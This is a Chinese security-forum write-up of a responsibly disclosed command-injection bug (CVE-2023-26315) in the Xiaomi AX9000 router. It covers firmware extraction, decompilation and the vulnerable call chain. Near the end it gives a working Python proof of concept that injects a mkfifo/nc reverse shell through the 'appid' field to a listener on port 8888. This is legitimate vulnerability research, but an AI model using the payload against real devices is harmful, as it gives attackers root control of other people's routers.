问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
小米AX9000路由器CVE-2023-26315漏洞挖掘
硬件与物联网
漏洞分析
分享一个笔者挖的小米AX9000路由器命令注入漏洞(CVE-2023-26315)的调用链分析。为了赏金挖洞,为了稿费发文,又要到饭了兄弟们!
小米AX9000路由器CVE-2023-26315漏洞挖掘 ----------------------------- > 为了赏金挖洞,为了稿费发文,又要到饭了兄弟们! ### 前言 一年多前,看到小米`SRC`公众号推文搞了个赏金活动,于是挖了挖当时比较新的一款`AX9000`路由器,挖到了两个命令注入漏洞,不过没什么本事,挖的都是授权后的,危害一般。小米给的赏金还是很可观的,但是补丁发布的速度不知为何比较慢(交了这么多厂商,还是`Zyxel`和华硕的响应速度最快),所以一直也没能分配`CVE`编号,我也遵守小米的规定在漏洞披露前未公开相关漏洞细节。 直到最近和其他朋友聊起这个漏洞,才想起来已经过去了一年多,应该是能公开了,于是又去找了小米`SRC`的运营小姐姐。经过一些流程的审批,得知这两个漏洞的确是已经推送完补丁可以披露了。不过有趣的是,小米申请的`2023`的`CVE`编号只剩一个了,`2024`的新编号还没申请,于是只先分配了一个漏洞的`CVE`,还有一个得等新编号。 正好和朋友聊到这个漏洞,也顺带回忆并简单记录了一下,想着既然写了就发出来吧。我这里也就先公开一个漏洞吧,另外一个后面看情况。时间有限,写的比较简略,希望能给各位师傅带来些许启发。 之后,可能会整理一些漏洞报告以及自己写的小工具放在我的`Github`上:<https://github.com/winmt> ### 漏洞信息 **漏洞编号:** [CVE-2023-26315](https://www.cve.org/CVERecord?id=CVE-2023-26315) / [CNVD-2024-23093](https://www.cnvd.org.cn/flaw/show/CNVD-2024-23093) **安全通告及致谢:** <https://trust.mi.com/zh-CN/misrc/bulletins/advisory?cveId=546> <https://trust.mi.com/misrc/bulletins/advisory?cveId=546> **漏洞描述:** 小米`AX9000`路由器在`1.0.168`版本及之前存在二进制漏洞(命令注入),该漏洞由于未对非法的`appid`做出有效限制而引起。已授权登录的攻击者在成功利用此漏洞后,可在远程目标设备上执行任意命令,并获得设备的最高控制权,造成权限提升。 BUT,怎么算`CVSS Score`应该都是`7.2+`高危,不太清楚官方的`6.5`是咋算的了QAQ ![](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-a55be56a7b86b0161203a368d1db31bbe3e8ffa9.png) 关于修复后的`1.0.174`版本的固件,厂商说明目前已经直接由云端推送补丁。 ### 准备工作 首先,可以从官网下载对应版本的固件:[小米路由器AX9000 稳定版 1.0.168](https://cdn.cnbj1.fds.api.mi-img.com/xiaoqiang/rom/ra70/miwifi_ra70_firmware_cc424_1.0.168.bin) 小米的固件最外面用的是`UBIFS`文件系统,固件本身没有加密,先用`binwalk`解出一个`.ubi`文件,然后用`ubireader_extract_images xxx.ubi`,可以在`ubifs-root`内解出三个`.ubifs`文件,对其中的`xxx-ubi_rootfs.ubifs`用`binwalk`再解开,即可得到里面的`SquashFS`文件系统,也就是核心部分。 小米的前端也是用的`Lua`编写的,但是其中的`Lua`文件不是源码,而是编译后的二进制文件,所以我们需要对其进行反编译。目前,对`Lua`反编译的常用工具有[unluac](https://github.com/HansWessels/unluac)和[luadec](https://github.com/viruscamp/luadec)。但是小米对`Lua`的解释器做了魔改,就不能直接用这两个工具进行反编译了,所幸已有师傅对此做了研究,并给出了专门针对小米固件的反编译工具[unluac\_miwifi](https://github.com/NyaMisty/unluac_miwifi)和[luadec\_miwifi](https://github.com/NyaMisty/luadec_miwifi)。至于如何对被魔改的解释器或编译器所编译出来的`Lua`字节码进行逆向,网上也有不少文章,这里不再展开。 我这里用的是`unluac_miwifi`,最终可以编译出一个`unluac.jar`,但一次只能对一个`Lua`文件进行反编译,所以我们需要写一个批量处理的简单脚本: ```python import os res = os.popen("find ./ -name *.lua").readlines() for i in range(0, len(res)) : path = res[i].strip("\n") cmd = "java -jar /home/winmt/unluac_miwifi/build/unluac.jar " + path + " > " + path + ".dis" print(cmd) os.system(cmd) ``` 小米`AX9000`路由器固件是`AArch64el`架构的,由于网上似乎没有公开的`AArch64`的内核与文件系统,系统级仿真可参考下面这篇文章的步骤`extract`出来`vmlinuz`和`initrd.img`:[https://www.diozero.com/boards/qemuaarch64\_bullseye.html](https://www.diozero.com/boards/qemuaarch64_bullseye.html) 此外,小米`AX9000`的固件中采用了`Apache Thrift`的框架,使用`C++`编写的版本,相关源码可见:<https://github.com/apache/thrift/tree/master/lib/cpp/src/thrift> ,也可参考网络上其他资料,初步认识后对接下来的逆向分析可能会有一些帮助。 ### 漏洞细节 此部分只对该漏洞调用链做大致的分析,感兴趣的师傅可继续深入逆向分析相关细节。 在反编译的`/usr/lib/lua/luci/controller/api/xqdatacenter.lua`中,可以看到 URL `/api/xqdatacenter/request` 相关的`handler`函数是`tunnelRequest`函数,且访问`/api/xqdatacenter`这个节点是需要鉴权的(鉴权过程可在`/usr/lib/lua/luci/dispatcher.lua`的`authenticator.jsonauth`函数中找到): ```lua function L0() local L0, L1, L2, L3, L4, L5, L6 L0 = node L1 = "api" L2 = "xqdatacenter" L0 = L0(L1, L2) L1 = firstchild L1 = L1() L0.target = L1 L0.title = "" L0.order = 300 L0.sysauth = "admin" L0.sysauth_authenticator = "jsonauth" L0.index = true ... L1 = entry L2 = {} L3 = "api" L4 = "xqdatacenter" L5 = "request" L2[1] = L3 L2[2] = L4 L2[3] = L5 L3 = call L4 = "tunnelRequest" L3 = L3(L4) L4 = _ L5 = "" L4 = L4(L5) L5 = 301 L1(L2, L3, L4, L5) ... end index = L0 ``` 在函数`tunnelRequest`中,会对传入`payload`字段内的`JSON`数据(此处用的是`formvalue_unsafe`获取内容,显然这是一个不安全的函数,未过滤危险字符)用`binaryBase64Enc`函数在转成二进制后,进行`Base64`编码处理,然后拼接入`THRIFT_TUNNEL_TO_DATACENTER`所指代的命令中并执行。 ```lua function L5() local L0, L1, L2, L3, L4, L5, L6, L7, L8 L0 = require L1 = "xiaoqiang.util.XQCryptoUtil" L0 = L0(L1) L1 = L0.binaryBase64Enc L2 = _UPVALUE0_ L2 = L2.formvalue_unsafe L3 = "payload" L2, L3, L4, L5, L6, L7, L8 = L2(L3) L1 = L1(L2, L3, L4, L5, L6, L7, L8) L2 = _UPVALUE1_ L2 = L2.THRIFT_TUNNEL_TO_DATACENTER L2 = L2 % L1 L3 = require L4 = "luci.util" L3 = L3(L4) L4 = _UPVALUE0_ L4 = L4.write L5 = L3.exec L6 = L2 L5 = L5(L6) L6 = nil L7 = false L8 = true L4(L5, L6, L7, L8) end tunnelRequest = L5 ``` 在`/usr/lib/lua/xiaoqiang/common/XQConfigs.lua`中,可以找到`THRIFT_TUNNEL_TO_DATACENTER`的相关定义: ```lua L0 = "thrifttunnel 0 '%s'" THRIFT_TUNNEL_TO_DATACENTER = L0 L0 = "thrifttunnel 1 '%s'" THRIFT_TUNNEL_TO_SMARTHOME = L0 L0 = "thrifttunnel 2 '%s'" THRIFT_TUNNEL_TO_SMARTHOME_CONTROLLER = L0 L0 = "thrifttunnel 3 ''" THRIFT_TO_MQTT_IDENTIFY_DEVICE = L0 L0 = "thrifttunnel 4 ''" THRIFT_TO_MQTT_GET_SN = L0 L0 = "thrifttunnel 5 ''" THRIFT_TO_MQTT_GET_DEVICEID = L0 L0 = "thrifttunnel 6 '%s'" THRIFT_TUNNEL_TO_MIIO = L0 L0 = "thrifttunnel 7 '%s'" THRIFT_TUNNEL_TO_YEELINK = L0 L0 = "thrifttunnel 8 '%s'" THRIFT_TUNNEL_TO_CACHECENTER = L0 ``` 可以看到,`THRIFT_TUNNEL_TO_DATACENTER`所指代的命令为`thrifttunnel 0 '%s'`。因此,最终所执行的完整命令是`thrifttunnel 0 'base64编码的payload字段'`,即`payload`字段中被`Base64`编码后的`Json`数据会被传入`thrifttunnel`程序中,且`option`为`0`。 在`/usr/sbin/thriftunnel`二进制文件中,`*(a2 + 16)`是传入的第二个参数,即`Base64`编码后的`payload`字段内的`Json`数据,其作为第一个参数被传入`sub_1B9B0`函数中,而`sub_1B9B0`函数的第二个参数`v11`此时是空串。 ![](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-f35f89e530dfccf5f06f3040610361abf682e6b9.png) 进入`sub_1B9B0`函数后,可以发现首先将与`a1`(`Base64`编码的`payload`字段)相关的数据作为参数传入了`sub_1F1F8`函数处理,并最终将其返回结果通过`string::assign()`赋值给了`a2`(即上一级的`v11`变量)。 ![](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-d9248d4bea501316d486cbe9e5c5bed9b54bdd1a.png) `sub_1F1F8`函数看上去是做了一些编码转换的操作,可以猜测到这里就是做了`Base64`的解码工作。我们很容易根据其中抛出的异常信息确认我们的猜测,这里的确就是将`payload`字段内的`Json`数据进行了`Base64`解码。 ![](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-b57523755b11c604242dd698e3967c8507e6fb83.png) 我们再返回到主函数,进而当`*(a2 + 8)`即传入的第一个参数`option`为`0`时,会执行到`sub_1BAE0`函数,根据上文分析,其参数`v11`就是解码后的`Json`字符串。 ![](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-87b8aabd010a1da9f560abbe415a974e79dad032.png) 在`sub_1BAE0`函数中,创建了`socket`,结合传入的参数(上级的`v11`变量)是`Json`字符串,很容易判断出此处会将`payload`字段的`Json`数据发送给本地`127.0.0.1`的`9090`端口(这里保护了端口的安全性,没有对外开放,我们想要找到未授权口而悬着的心也终于死了)。 ![](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-e9c6f0026235b36d1eff929f5cdbdc85fc7074aa.png) `/usr/sbin/datacenter`程序一直挂在进程中,监听着`9090`端口,故我们的数据被传到了`datacenter`程序进一步处理。 ![](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-a1ee33cd426983a20a733a20dc21eb7913ae2392.png) 在`datacenter`的`constructAPIMappingTable()`函数里分别执行了三个类的`sConstructMappingTable()`函数。 ![](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-99447c0da22132234b3a1c0ffb8131a5b2cbd360.png) 其中,都是通过`STL map`建立起了`api`编号(下文解释)和对应的处理函数`handler`间的映射关系。具体来看,有一些`api`是直接在`datacenter`中被处理的,有些是被进一步转发到了`/usr/sbin/indexservice`(`9088`端口)处理,另外一些则是被转发到了`/usr/sbin/plugincenter`(`9091`端口)中进一步处理。 我们在这里直接定位到该漏洞对应的`api`,在`datacenter::PluginApiCollection::sConstructMappingTable`中,当`api`为`629`的时候,对应的`handler`是`callPluginCenter`,其实从函数名就能看出来作用了,就是转发给`plugincenter`。 ![](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-8988c481d797844e0086b207ca36413ad6892dfb.png) 进去简单看一下,的确是发送给了本地的`9091`端口(同样,容易在`plugincenter`程序中找到,其监听着`9091`端口)。 ![](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-22f11abd085577e8a38dd6a03b5abb9b398b12f2.png) 在`DataCenterHandler::request`函数中,在调用`APIMapping::APIMapping`函数建立好上述的映射关系表后,紧接着调用了`APIMapping::redirectRequest`函数。其中,先获取了`Json`对象中的`api`字段的值,存放在`v8`变量中,然后经历了一个`for`循环,其中有对`v8`值的判断比较,最后执行了一个函数指针。这里需要稍微解释一下,此处的`a1`就是上面建立的`map`映射表,类型是`std::map<int,void (*)(json_object *,std::string &)>`,即第一个元素(键值)是整数,第二个元素(实值)是函数指针。所以此处的`for`循环就是对`map`的操作,但是都是用的偏移值,不好看出来具体是什么,其实这里也没必要去查源码,我们直接自己写一个`map`容器的遍历,然后静态编译出来,反编译后这些偏移值的含义也就都清楚了。此处的`for`循环其实就是执行了`map.find()`的操作,寻找了`map`中`key`为`v8`(即`api`值)的迭代器,偏移`+32`就是第一个键值元素(`api`值),偏移`+40`则是第二个实值元素(`handler`的函数指针)。显然,此处就是根据传入的`api`字段值调用对应的`handler`的过程。到这里,上述建立的`Mapping Table`中的映射关系也更加明朗了。 ![](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-51049f04e0afd58e815269aeb99c2783d49fc67e.png) 上文说过,当`api`为`629`时,传入的`payload`字段的数据会被转发给`plugincenter`程序处理。所以最后来到了`/usr/sbin/plugincenter`程序中,找到`datacenter::PluginApiMappingExtendCollection::sConstructMappingTable`函数,仍然是通过`map`建立了`api`编号和对应`handler`函数的映射关系。可以看到,当`api`编号为`629`的时候,会执行到`parseGetIdForVendor`函数进行处理。 ![](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-398f8d936cd0579d7ba71d1d4ebdfeca609e6de5.png) 在`parseGetIdForVendor`函数中,会将传入的`Json`数据内的`appid`字段作为参数传递到`PluginApi::getIdForVendor`函数中。 ![](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-188d0291f16cacc982ce5985425f4ff77135841d.png) 在`PluginApi::getIdForVendor`函数中,可以很明显地发现:**即使`appid`字段合法性检查不通过,也会被拼接入命令中并执行**。显然,这里是一个开发上的疏忽,在判断`!IsValidAppId`的条件分支内,在输出报错信息后,应当在最后加上`return ;`返回,不能继续执行下去。 ![](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-6e74a5ebd0f188a36bedba20471a0e028931fc63.png) 因此,这里存在一个命令注入漏洞,该漏洞调用链至此分析完毕。 ### Poc及演示结果 这里需要自行更改一下相关`IP`和`Token`值,此处注入了反弹`shell`的命令,端口`8888`。 ```python import requests server_ip = "192.168.50.1" client_ip = "192.168.50.105" token = "814c55713043e7358d3c1f42f2a98438" nc_shell = ";rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {} 8888 >/tmp/f;".format(client_ip) res = requests.post("http://{}/cgi-bin/luci/;stok={}/api/xqdatacenter/request".format(server_ip, token), data={'payload':'{"api":629, "appid":"' + nc_shell + '"}'}) print(res.text) ``` ![](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-77cfabbfe68f3965d708c04c9bb30a1cf6364726.png) ### 写在最后 此篇文章仅作抛砖引玉,在`datacenter`,`plugincenter`以及`indexservice`内不同`api`的`handler`函数可能就有几百个(当然这里可以结合`fuzz`),以及`thriftunnel`的其他`option`操作也这么往下挖下去,我想应该也会存在漏洞。笔者也只是在小米当时赏金活动那几天大概看了看,后续也没再继续深入看这些地方了,本来想留着后面继续挖的,但是准备了一年保研感觉心态发生了一些奇妙的变化,研究生可能更想去尝试下其他更深入的方面,不想再做单纯的这样挖洞了,所以也就放出来了。感兴趣的读者可继续探索,挖到了也可以分享在评论区。 - - - - - - **时间线:** - 2023-03-26 提交漏洞报告至小米安全中心(Xiaomi Security Center) - 2023-04-03 厂商验证后确认两个漏洞存在,并开始修复漏洞 - 2023-05-24 两个漏洞的赏金均到账(活动期间还翻倍了,挺爽) - 2023-06-09 厂商告知漏洞已全部修复完成(但似乎补丁未立即发布) - 2024-05-09 联系厂商分配其中一个漏洞编号 CVE-2023-26315 并披露 - 2024-06-12 CNVD 收录本文漏洞,分配编号 CNVD-2024-23093 并公开
发表于 2024-05-23 09:00:00
阅读 ( 8940 )
分类:
硬件与物联网
10 推荐
收藏
8 条评论
ZIKH26
2024-05-23 22:18
师傅tql
winmt
回复
ZIKH26
你就是我买的水军嘛?
请先
登录
后评论
webqs
2024-05-23 09:08
师傅tql
请先
登录
后评论
ZIKH26
2024-05-23 13:34
又狠狠的学到了
请先
登录
后评论
雨下整夜
2024-05-23 16:14
强啊
请先
登录
后评论
ZIKH26
2024-05-23 21:46
又是精品,狠狠的学到了
请先
登录
后评论
ZIKH26
2024-05-23 21:50
一篇技术文章,竟然看哭了
请先
登录
后评论
blacking
2024-06-20 11:06
god
请先
登录
后评论
请先
登录
后评论
winmt
啥也不是
2 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!